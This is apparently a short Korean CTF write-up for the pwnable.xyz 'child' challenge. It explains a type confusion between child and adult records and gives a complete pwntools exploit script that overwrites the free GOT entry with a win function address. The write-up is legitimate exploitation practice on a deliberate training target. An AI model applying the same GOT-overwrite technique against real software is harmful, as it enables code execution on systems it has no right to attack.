pwn/pwnable.xyz

pwnable.xyz / child

lok2h4rd 2022. 5. 27. 00:16

mitigation

 

transform을 통해 child -> adult 또는 adult -> child로 이때 이동할 때 child와 adult의 job와 age가 뒤바뀌어 사용된다

이걸 통해 다음 child를 변조할 수 있고 free got주소에 win함수 넣었다

 

from pwn import * 
#context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30038)
#p = process("./child")
#gdb.attach(p)

def child(name, job):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"Age: ")
    p.sendline(b"17")
    p.recvuntil(b"Name: ")
    p.send(name)
    p.recvuntil(b"Job: ")
    p.send(job)

def transform(idx, name, job = 0):
    p.recvuntil(b"> ")
    p.send(b"5")
    p.recvuntil(b"Person: ")
    p.sendline(str(idx))
    p.recvuntil(b"Name: ")
    p.sendline(name)
    p.recvuntil(b"Job: ")    
    p.send(job)


def age_up(idx):
    p.recvuntil(b"> ")
    p.sendline(b"3")
    p.recvuntil(b"Person: ")
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil(b"> ")
    p.sendline(b"6")
    p.recvuntil(b"Person: ")
    p.sendline(str(idx))


free_got = 0x602018
win = 0x4009b3

child(b"AAA", b"BBB")
child(b"AAA", b"BBB")

age_up(0)
age_up(0)
transform(0, b"AAA", b"BBB")

for i in range(0x30):
    age_up(0)
    sleep(0.1)

transform(0, b"1", b"1")

p.recvuntil(b"> Age: ")
p.send(b"\n")

delete(0)

payload = p64(free_got)
payload += p64(1)
child(b"1", payload)

transform(1, p64(win), b"1")
delete(0)

p.interactive()